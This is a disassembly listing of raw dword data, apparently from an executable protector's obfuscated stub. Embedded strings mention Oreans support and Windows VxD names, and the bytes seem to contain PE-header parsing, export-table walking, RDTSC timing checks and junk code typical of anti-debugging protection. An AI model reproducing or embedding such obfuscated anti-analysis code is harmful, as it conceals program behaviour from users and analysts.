		dd 66691564h, 3C89DE8Bh, 66C28B11h, 46E4F081h, 5FC1EA81h
		dd 8A0F011Bh, 4, 87D2BE66h, 5FBDC281h, 0FA81011Bh, 0FFFFA228h
		dd 24850Fh, 8D0F0000h, 0Bh, 5840Fh, 81660000h, 0E9597BE6h
		dd 28h,	21BD86F1h, 0AF6EC901h, 91520E6Fh, 5B8BE1Ch, 0E912589Ah
		dd 0FFFFFF78h, 91A1CBDBh, 82738C71h, 58689F1h, 88D7710Ah
		dd 14E8h, 0A5ED5800h, 0C017FF6Dh, 2F2F05ADh, 5F0D68A9h
		dd 32EBDB5h, 5A575B79h,	5BD6C381h, 0BF660000h, 6861FFh
		dd 0B8000000h, 0DFC5475h, 24C4BA59h, 34FF4816h,	5EFB8B19h
		dd 45DA8166h, 4BC68169h, 6604C794h, 0F681D18Bh,	655F6359h
		dd 6A03E881h, 0EE810FD1h, 33FEB91Dh, 56F88B66h,	8FC6B70Fh
		dd 0B70F0B04h, 0D9C081C0h, 813EF8D5h, 0C7C923E9h, 81D38A48h
		dd 0C7C91FC1h, 17840F48h, 0E9000000h, 12h, 8DA54DEFh, 20A8750Bh
		dd 17768216h, 0F2F2E701h, 0F981522Fh, 0FFFFA4DCh, 0FF90850Fh
		dd 10E9FFFFh, 0C4000000h, 9F99820Bh, 4062446h, 21847A73h
		dd 0E991750Ah, 83h, 56525153h, 245C8B57h, 3B81661Ch, 850F5A4Dh
		dd 68h,	3C43B70Fh, 8166D803h, 0F45503Bh, 5785h,	785B8B00h
		dd 1C245C03h, 324738Bh,	561C2474h, 8B207B8Bh, 7C031C73h
		dd 74032024h, 83FC2024h, 8B41FFC9h, 8B1C245Ch, 24540317h
		dd 4C78320h, 0C084028Ah, 33A0874h, 4243E875h, 33AF2EBh
		dd 0D15FE075h, 4B70FE1h, 86048B0Fh, 1C244403h, 595A5E5Fh
		dd 8C25Bh, 0F1E9C033h, 8BFFFFFFh, 400E9CAh, 0
		dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h
		dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h
		dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch
		dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h
		dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0)
		dd offset dword_55FFC8+38h
		dd offset dword_445750+0A8B0h
		dd 0
		dd 0C4E90000h, 9000011h, 2A0F959Dh, 95858B06h, 6A062A12h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0E1C350h,	8531665Dh, 62A0CCDh, 5F58D89h
		dd 4439062Ah, 850F0424h, 9Fh, 88E0Fh, 31600000h, 2A33A58Dh
		dd 0BD836106h, 62A344Dh, 84840F00h, 31000000h, 2A0ED595h
		dd 0BF858D06h, 6A062A3Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 60CFC353h, 5AC7B866h
		dd 11E9h, 0F295E100h, 0F0116048h, 5EA9CDE8h, 77E4C385h
		dd 0FF6192A8h, 51006AE0h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 298AC43Ch, 46696C2Ch
		dd 10E960h, 0C8C70000h,	0A3B0E3CEh, 8E6655D5h, 0AAB074D9h
		dd 0EE8021F1h, 8BF961E8h, 2A334D85h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0F52F66D4h
		dd 4244439h, 51850Fh, 89F90000h, 2A1B99BDh, 9A85C706h
		dd 1062D81h, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 8068C355h, 49FE932Dh
		dd 60F4AB8Ch, 45958960h, 61062A22h, 24B98D09h, 0F61062Ah
		dd 681h, 51BD0900h, 60062A29h, 22D98D89h, 26E9062Ah, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 3144C357h, 2A04D58Dh, 6, 1B800h, 85870000h
		dd 62D8331h, 0F675C00Bh, 27C9B5FFh, 858F062Ah, 62D8192h
		dd 0FF6A206Ah, 284995FFh, 0BD83062Ah, 62A0385h,	6A087400h
		dd 3995FF00h, 83062A34h, 2A1BD1BDh, 0D740106h, 8068h, 0FFFF6A00h
		dd 2A284995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 247A13F7h, 83B8483Ah, 0A9BD2950h
		dd 9062A0Fh, 2A26499Dh,	0B589FC06h, 62A13DDh, 6AC02Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0C5F57FC3h, 0B8969871h, 0F600151h, 8D89C2BFh, 62A3035h
		dd 85BD2961h, 8B062A27h, 0F9282454h, 13E9h, 9968E500h
		dd 5DE451A5h, 7C37F762h, 8314DC3h, 493664DEh, 0D0D8589h
		dd 840F062Ah, 6, 33D5BD31h, 3CBE062Ah, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 8B6FC357h, 2474035Ch, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 0C3A44896h, 0CEC921F5h
		dd 0C800F52h, 0F000000h, 689h, 0A9852900h, 66062A18h, 999529ADh
		dd 3062A0Eh, 89242444h,	2A32A195h, 52505006h, 0EE860h
		dd 0D2500000h, 0DB20C3E1h, 0D796112Eh, 16DB6817h, 0EE959h
		dd 0A9150000h, 53158BB6h, 0D01BE089h, 0D28372A7h, 0F310F61h
		dd 28Fh, 5A616000h, 24048958h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 99C35343h, 6820Fh, 0B5090000h
		dd 62A22F9h, 6A78408Bh,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 86C6C352h, 0E62E16F4h
		dd 0F69B607h, 682h, 49B58900h, 0F062A32h, 48Dh,	8FB56000h
		dd 9ABD8361h, 62D81h, 0F5850Fh,	8D090000h, 62A2265h, 12E990h
		dd 90710000h, 618821D2h, 5AFC9F4Fh, 30C62243h, 20CB4C3Ah
		dd 168B0F50h, 0E9000000h, 11h, 22D51E7Eh, 0D05649D8h, 574E35A8h
		dd 0B0C4B231h, 6A905Ah,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 35834BC3h, 0AFF2A37h, 18A0FF5h
		dd 0F9000000h, 2C24448Bh, 17F5BD29h, 0E990062Ah, 7, 388D00B1h
		dd 509669DCh, 52505250h, 5E9h, 0AC752700h, 310F2F6Bh, 585A6160h
		dd 6060310Fh, 585A6161h, 95896090h, 62A0F95h, 0EE9h, 492DC600h
		dd 834CF2D1h, 0D0919E04h, 6152AE9Dh, 5261858Dh,	0FFFC062Dh
		dd 56006AD0h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 3BC80AE2h, 0E96029F5h, 0Eh, 3B06E5E4h, 0FE770A5Bh
		dd 86C1DA45h, 3613D0Dh,	0F282444h, 68Ah, 519D0100h, 8B062A14h
		dd 6A1840h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0E99948C3h, 8, 89BFE7E4h,	19271494h, 0AE9h
		dd 0E56A8400h, 0E4AB1C4Ch, 405DEA1Fh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 50C35646h, 11E9h, 3D3CEA00h
		dd 1EC6281Dh, 23B46A6Dh, 0A43B69CBh, 85893714h,	62D8196h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0DAC35545h
		dd 0EDF517h, 0E97FACE9h, 10h, 28CD61D6h, 0E8B570D6h, 4B8B3C58h
		dd 2F62A5A0h, 85096058h, 62A10BDh, 84E68166h, 8B6061B1h
		dd 2A0D219Dh, 69BD3306h, 61062A08h, 6A78708Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 83D8C351h, 6A1CC6h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 11E9B0C3h, 0F2000000h, 0CE3FD4F9h
		dd 0F9CB93A8h, 0F8C5A2D3h, 665B07F1h, 0BDBD8996h, 81062A2Ch
		dd 24247Ch, 0F100000h, 0F187h, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 8D448FF1h
		dd 6860FB4h, 9000000h, 2A2239BDh, 61605006h, 0F8240489h
		dd 2824448Bh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 15h,	0B2C35747h, 52509032h, 13E95250h, 0E4000000h, 172E4980h
		dd 2D359E9h, 3D97BBC3h,	8A7CB036h, 310FA491h, 585A6160h
		dd 5250310Fh, 0BE9h, 0C1B3B200h, 19C6BD5Dh, 1861DBE9h
		dd 5E9310Fh, 6C000000h,	567C11Dh, 585A585Ah, 118D0F50h
		dd 60000000h, 7E9h, 0BDC5A900h,	0B1E3853Eh, 61D38B66h
		dd 1810F90h, 0F8000000h, 5261858Dh, 6A062Dh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0F64E12C3h
		dd 0FC0D6779h, 8D31D0FFh, 62A2D09h, 2F19529h, 0F896062Ah
		dd 24247403h, 0A850Fh, 60600000h, 0C18D8961h, 61062A1Bh
		dd 0FADBD8Dh, 6A062Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 8D31D5C3h, 62A24ADh, 56006AADh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 255B1C1Ch, 0B55F899h, 0F60679Dh, 284h, 665A5600h, 613400BBh
		dd 24247C81h, 10000000h, 136870Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 34F7B9C3h
		dd 5C8A42Fh, 90F9A4DCh,	14B96660h, 605061E3h, 50D78B66h
		dd 0FD18B52h, 5AFE8B31h, 0E9906158h, 0Eh, 0DBC794F2h, 0F80F0C17h
		dd 77456D7Bh, 8B60DC23h, 2A287185h, 8E906h, 6BBA0000h
		dd 6F31ACDh, 8B6181A9h,	6A282444h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0C0A0C353h
		dd 0CA810E9Ch, 3195A09Bh, 2A10C59Dh, 0B1B58906h, 50062A0Eh
		dd 0E880Fh, 52500000h, 310F5250h, 310F585Ah, 585A6160h
		dd 6A240489h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0CC5DC353h
		dd 0FF3FC06h, 1982h, 14E900h, 19070000h, 309B7AB8h, 24773039h
		dd 77729361h, 0BEBF276h, 858DBA5Bh, 62D5261h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 10C35040h, 8A60F8B3h
		dd 58C0FF1h, 66000000h,	0A6CFE781h, 5E961h, 0B4260000h
		dd 0FFA720DFh, 0ADBD31D0h, 0F5062A0Eh, 24244403h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 79C35646h, 7E3A8A17h
		dd 0BE60C55Ch, 62CE0E4Bh, 6142F480h, 0FA81F8ABh, 10000h
		dd 769820Fh, 0F9600000h, 0E1BD8D61h, 60062A0Ch,	5B0CB81h
		dd 14B558E0h, 8D8D2961h, 0AD062A22h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 41C35545h, 44B5F63h, 0E96026A6h
		dd 8, 0D734FF54h, 0AB2C715h, 0F8DBD89h,	8161062Ah, 24247Ch
		dd 0F100000h, 19387h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0DF0B9FF4h, 0B5318A31h
		dd 62A2DB1h, 0B5958960h, 0FC062A0Dh, 8D0F5061h,	0Eh, 860F5250h
		dd 0
		dd 6160310Fh, 489585Ah,	53006A24h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 60A0C4A2h, 2591858Bh
		dd 0F60062Ah, 8Ah, 5AE28000h, 448B6161h, 6A2824h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0B38B64C3h, 93BABB48h, 0F9B58DDh, 0C80h, 6890F00h, 0F000000h
		dd 8Fh,	0C1B58900h, 50062A19h, 0E9605250h, 8, 0BE032505h
		dd 0C1D975C2h, 0F6148B0h, 0B8C0F31h, 0E9000000h, 6, 0C7EDB290h
		dd 585A051Ah, 6A240489h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 59C9C353h, 11E9F3h
		dd 29B0000h, 45C334BBh,	0D01E934Dh, 5426B0A0h, 60672370h
		dd 10E9h, 0F55CCE00h, 0A2ED6F24h, 756E6F8Fh, 7426501Dh
		dd 14E827h, 9A20000h, 36856307h, 0EF2097C8h, 0DC9F6FA6h
		dd 6D55AC6h, 5850B6ABh,	858D615Ah, 62D5261h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0BCC35646h, 7E9820Ah
		dd 7E000000h, 0A014FF74h, 0B529A314h, 62A1225h,	9E9D0FFh
		dd 7A000000h, 2A52719Fh, 33BADB4Ch, 24244403h, 0FE9h, 67172C00h
		dd 57D1D48Bh, 1B5FBDAh,	0D8AFC115h, 14840F50h, 0E9000000h
		dd 0Fh,	72A08210h, 0BB5D9F36h, 0FC154AB9h, 89AF4668h, 66602404h
		dd 0B50BCE8Bh, 62A2029h, 6AAB61h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 9B68D7C3h, 8E90Eh, 55FD0000h
		dd 1A749BFEh, 0BD8D93B4h, 62A3031h, 125DBD89h, 0E9AD062Ah
		dd 12h,	0DB9E6EF6h, 0D98F3C3Ch,	0D7905C7Bh, 8065A1h, 7C813082h
		dd 2824h, 870F1000h, 0F7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 4CC35747h, 174B70ACh,	60CB8BBCh, 68F0Fh
		dd 9D8B0000h, 62A1FB5h,	10ADB531h, 9061062Ah, 12810Fh
		dd 52500000h, 890Fh, 310F0000h,	860Fh, 585A0000h, 50525050h
		dd 0F525052h, 0F585A31h, 5A616031h, 60310F58h, 61605FB5h
		dd 90585A61h, 1800Fh, 8BF90000h, 292C2444h, 2A2CB19Dh
		dd 840F9006h, 24h, 13E95250h, 0D4000000h, 0C705556Ah, 121731A2h
		dd 53D73278h, 0FB6DE9F3h, 310FC5B6h, 8C0Fh, 585A0000h
		dd 278B0F50h, 50000000h, 5E952h, 9DE80000h, 0F298EF6h
		dd 12E931h, 28310000h, 3F743E4Ah, 0FE7A6D2Eh, 0F343E152h
		dd 0BAAE7559h, 2990585Ah, 2A25AD95h, 61858D06h,	29062D52h
		dd 2A34F18Dh, 0E9D0FF06h, 7, 0D6BA5400h, 383E112h, 89282444h
		dd 2A3045B5h, 0BE906h, 54490000h, 382E90FDh, 0F1C1FFC7h
		dd 0B509AB0Eh, 62A19ADh, 968DFF5Eh, 83062D81h, 2D8196BDh
		dd 0A750006h, 0B58DC033h, 62D912Fh, 0AD56E6FFh,	28247C81h
		dd 10000000h, 8B500E77h, 502C2444h, 5261858Dh, 0D0FF062Dh
		dd 28244403h, 8ADF8B97h, 2D819285h, 74C08406h, 75073A04h
		dd 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h, 33C033D1h
		dd 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah, 66EBD166h,	973D8D1h
		dd 50413566h, 49F38166h, 75CEFE54h, 33C833EBh, 0D5754FD3h
		dd 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah, 0C6835E0Fh
		dd 0D85FF04h, 0E9062A0Dh, 0FFFFFF5Dh, 0C8F0F5Eh, 0F000000h
		dd 68Ch, 8E0F00h, 60000000h, 38E0Fh, 0B70F0000h, 0CF8B60C9h
		dd 0E4D858Bh, 6161062Ah, 0D858BF8h, 0F062A0Dh, 681h, 0F5B58900h
		dd 0D1062A09h, 53006AE0h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 8503D4CCh, 62A3031h, 2B3D8D09h
		dd 0BE062Ah, 0F8000000h, 9D8B6096h, 62A2C6Dh, 0B318D8Bh
		dd 6661062Ah, 51006AADh, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0DF3F6BDCh, 0FCED3C5h, 68Bh, 0D5952900h
		dd 0C1062A32h, 6A02E0h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 34160C3h, 7AB98BBAh, 85033E62h
		dd 62A0FADh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	0DDC35545h, 6AADF896h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 7829C352h, 719D4513h
		dd 0E938B540h, 14h, 2CA339D5h, 6BA0910Eh, 47E7BC93h, 0F457506h
		dd 0FA03011Bh, 3449B509h, 7C81062Ah, 2424h, 870F1000h
		dd 107h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 19h,	2CC35343h, 0BCF4346Eh, 18E0F76h, 0F8000000h, 0E9525090h
		dd 11h,	1722D79h, 148F4134h, 5D27D830h,	0B04E0433h, 60310FE4h
		dd 6BB940B3h, 6148F8D0h, 5050585Ah, 60525052h, 0F310F61h
		dd 82h,	0F585A00h, 61606031h, 61F78B66h, 3190585Ah, 2A1B059Dh
		dd 24448B06h, 51006A28h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 8B9B9378h, 9B3FC7F8h, 0E9500387h
		dd 13h,	0BF92DF56h, 0B25049CAh,	0D6CDEFADh, 0F1B06103h
		dd 89C92F4Fh, 0B5892404h, 62A1A85h, 5261858Dh, 6A062Dh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 14F799C3h, 519006F8h, 8B60AAA9h, 60F861D6h, 8E9h, 8F1D3A00h
		dd 2BFD7110h, 7B5BBFF1h, 0FF61711Fh, 219D89D0h,	3062A23h
		dd 6A242444h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 5C22C350h, 2CFAE249h, 0D48B6717h
		dd 9B58D01h, 8E9062Ah, 0D6000000h, 6C1DD919h, 8963A9E8h
		dd 6A1C2444h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 5EC2C356h, 5E9h, 0ABA57B00h, 85C677CFh
		dd 62A27C9h, 3185C700h,	62D83h,	0C7000000h, 2D819A85h
		dd 6, 8160F900h, 0FA179EC1h, 6A616133h,	3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 6D14C351h
		dd 835ABC38h, 98B0FBAh,	60000000h, 6DBD89F9h, 61062A23h
		dd 0BFD9509h, 8C2062Ah,	91BD8900h, 8B062A23h, 2A0FAD85h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 41E02F30h, 0B5894AF8h, 62A1B21h,	6A04D26Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0B30BC355h, 0EF6CCAC8h, 9D090AF2h, 62A0785h
		dd 9D29C203h, 62A0B25h,	51006A96h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 18E0FBCh, 0F5000000h
		dd 7C81F8ADh, 2424h, 870F1000h,	102h, 0CE9h, 0FCDF2000h
		dd 0DC06AC1Ah, 89833F7Fh, 506050B0h, 0FA0B752h,	0F88B6631h
		dd 8961585Ah, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 9716FFC3h, 0BD8923EEh, 62A2681h
		dd 7890Fh, 840F0000h, 1, 24448BFCh, 0B860F28h, 60000000h
		dd 8BF7B70Fh, 2A111D85h, 60906106h, 0DA8B3AB4h,	0F605061h
		dd 58Dh, 8F9EBE00h, 50600962h, 5A310F52h, 0F525058h, 61585A31h
		dd 6A9061h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 8D6D97C3h, 2D526185h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0F3BA54Bh, 184h, 0D0FFF900h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 9DC35545h, 0CAFB617Ch, 0B71A89DDh
		dd 9898589h, 98E9062Ah,	60FFFFFDh, 26C19529h, 0B866062Ah
		dd 8D61905Fh, 2D96C485h, 0F50F906h, 88Bh, 28D0F00h, 60000000h
		dd 24048961h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Dh,	7FC35545h, 229E772Ah, 0B5EF713h, 0A810F2Ch, 60000000h
		dd 168D858Bh, 6160062Ah, 35FF6461h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 89C35343h
		dd 0CA93B992h, 0F9C690C5h, 8E960h, 5B7E0000h, 0C9613A6Fh
		dd 0B866840Eh, 8B611A29h, 8D292404h, 62A0D21h, 0CE960h
		dd 13D90000h, 0BD3F19D4h, 318C0FE0h, 0B5345D9h,	2A2BE195h
		dd 89615906h, 2A12D585h, 0EE906h, 0FC310000h, 0A0C16C64h
		dd 0EF056D3Bh, 3C5BB5F5h, 258964h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0E9A2C355h, 0Ch, 76EA3EC8h, 0EAD5962Fh, 9E9E3B5Bh, 94C6858Dh
		dd 6A062Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 49E01C3h,	0B8D0Fh, 6E90000h, 88000000h, 1E6BFD31h
		dd 16089B8h, 11E9h, 0BBA82600h,	0EB2D285Ah, 0B3F12C3Ch
		dd 0B21E254Eh, 3AE9573Bh, 0F8000002h, 0E8DB8Bh,	5D000000h
		dd 94BFED81h, 9CBC062Dh, 830012FFh, 2A1BD1BDh, 18740006h
		dd 0F59858Bh, 0C6062Ah,	79858B00h, 0C6062A0Ch, 95FF0000h
		dd 62A2895h, 9EB5FF60h,	8D062D7Dh, 2D7DA285h, 858D5006h
		dd 62D7F9Ah, 3595FF50h,	83062A0Bh, 0FC610CC4h, 0B8C0Fh
		dd 0F600000h, 958BC1B7h, 62A1FF1h, 50006A61h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 2759E539h
		dd 0C249FC84h, 0BE9D0C6h, 6000000h, 5A948756h, 10B373EBh
		dd 0B58D9B95h, 62D7F9Ah, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 18h, 94C35747h, 95C06F41h,	10F19D29h, 9D89062Ah
		dd 62A1EE5h, 0E1BD8Dh, 8D29062Ah, 62A0565h, 0F003E80h
		dd 3B84h, 0BAF56000h, 35F1D9B9h, 8E0FA461h, 7, 1830Fh
		dd 0E9F50000h, 0FFFFFFDCh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 9EC35545h, 2F527473h,	0EE9C02Bh, 0FD000000h
		dd 27B4CE93h, 0FD0FB7F9h, 0E07DEEA9h, 6E9CFh, 31880000h
		dd 0B81E6BFDh, 55006AAAh, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 16A50C35h, 18A0F3Dh, 0F5000000h
		dd 30D9D89h, 7B8062Ah, 89000000h, 2A002185h, 5585C706h
		dd 1062A2Dh, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0BC4EC350h,	34078410h
		dd 0E93BEE3Fh, 0Fh, 363EFCE3h, 91C685B3h, 1E59AA28h, 8DEC0B9Eh
		dd 2A4E978Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 853C12F3h, 0FCC48009h, 6AE1FFh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0A6B170C3h, 9A5ABD89h, 0BD29D1C9h, 62A191Dh,	0C245C8Bh
		dd 0E855h, 815D0000h, 2D96CEEDh, 0B8838B06h, 89000000h
		dd 2D7D9E85h, 0B8858D06h, 89062D94h, 0B883h, 0C0335D00h
		dd 50006AC3h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 6490939Fh, 8E3ABAB0h, 0F860FA5h,	0E9000000h
		dd 0Ah,	0A126678Ch, 0B727D266h,	10E98F7Dh, 0C3000000h
		dd 35CEA2D2h, 2A15F094h, 0DCAF4555h, 60FF60B6h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 70C35141h, 0B529427Dh
		dd 62A1495h, 998F858Dh,	6A062Dh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 29CEEEC3h, 525090F5h
		dd 890F5250h, 0
		dd 5250310Fh, 585A310Fh, 310F585Ah, 61605250h, 840F310Fh
		dd 0
		dd 585A585Ah, 12E950h, 4F4E0000h, 0E305A9A2h, 0BB85C631h
		dd 66F9C441h, 79BA397Ah, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 6465B9ECh, 35FFh, 8A0F0000h
		dd 0Ch,	68A0Fh,	9D090000h, 62A23B9h, 258964h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 899BC355h, 2A2579B5h, 89958906h, 0E9062A26h
		dd 12h,	27265515h, 36162C4Bh, 2057A75Bh, 38F041AFh, 858D53A9h
		dd 62D99EDh, 13E9h, 0E8F5B00h, 77494BB2h, 8F2C32F7h, 0DB15E349h
		dd 2B03C00Dh, 6A016089h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 9BF1C356h, 11E901h
		dd 7D650000h, 0BCE09465h, 3324F922h, 85E6CCBDh,	0C6B8759Bh
		dd 2A27C985h, 95294F06h, 62A2641h, 4D3AFE68h, 5E9C6h, 80640000h
		dd 8153FFC9h, 4ED42434h, 0B5603885h, 12E8A3h, 87240000h
		dd 67AAD642h, 0BB62964h, 37B57944h, 73ADCEAAh, 9000EA81h
		dd 615A4DFFh, 22C9B5FFh, 6A062Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 0E922B4C3h, 13h, 949B5E07h
		dd 0D5259F8Eh, 7492F2C7h, 0CA1A6A73h, 18928C6h,	2A167195h
		dd 0A9858D06h, 0F062D81h, 1582h, 10E900h, 0AA5B0000h, 53685F8Ah
		dd 92518B92h, 6BA1E5D1h, 0D0FF5242h, 13E960h, 0FE2F0000h
		dd 22EDEFCDh, 25DD0EC0h, 36B94FABh, 2A40C054h, 0E961F8D2h
		dd 89h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h
		dd 0E0C35646h, 85016039h, 62A2AADh, 185D858Bh, 8B61062Ah
		dd 550C245Ch, 0E8h, 0ED815D00h,	62D9999h, 231D858Bh, 8589062Ah
		dd 62A22C9h, 334D858Bh,	8589062Ah, 62A1F85h, 1295858Bh
		dd 8589062Ah, 62A0B21h,	27C985C6h, 0C700062Ah, 2D833185h
		dd 6, 0ED858D00h, 89062D99h, 0B883h, 0C0335D00h, 999531C3h
		dd 0FC062A20h, 0FF74BCF9h, 0B5310012h, 62A0899h, 58F64h
		dd 0E9000000h, 13h, 7DE923F2h, 0DC7047C1h, 4C7CF221h, 4AB34D65h
		dd 83B58D57h, 61F804C4h, 464934EBh, 52474D53h, 4B562020h
		dd 20202044h, 4D562020h, 2020204Dh, 57562020h, 32334E49h
		dd 58562020h, 52444C44h, 2020h,	2 dup(0)
		dd 7BE90000h, 6A000008h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 15D5C356h, 0F60557Dh
		dd 881h, 2870F00h, 60000000h, 0E8E0F61h, 0E9000000h, 9
		dd 62F3367Eh, 0C526D33Dh, 4685C724h, 62D9Ah, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 7E86C350h, 0F84CDFF0h, 188E0Fh, 13E90000h
		dd 97000000h, 0CE10A656h, 5302C33Bh, 11E924Ch, 0CB42BA28h
		dd 0C68BE48Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	7DC35747h, 0B70FA89Eh, 53006AD8h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 403CDF60h
		dd 0E960F9D6h, 14h, 1D11B79Bh, 33FBD894h, 3BE15A6Ah, 0D8BCD6FCh
		dd 9BF3A513h, 2D8BF60h,	0BF0F49CDh, 0C16161DEh,	6A10E8h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 16F695C3h, 0E9B08D08h, 10h, 314C089Fh, 77A46C99h, 0B9460AE8h
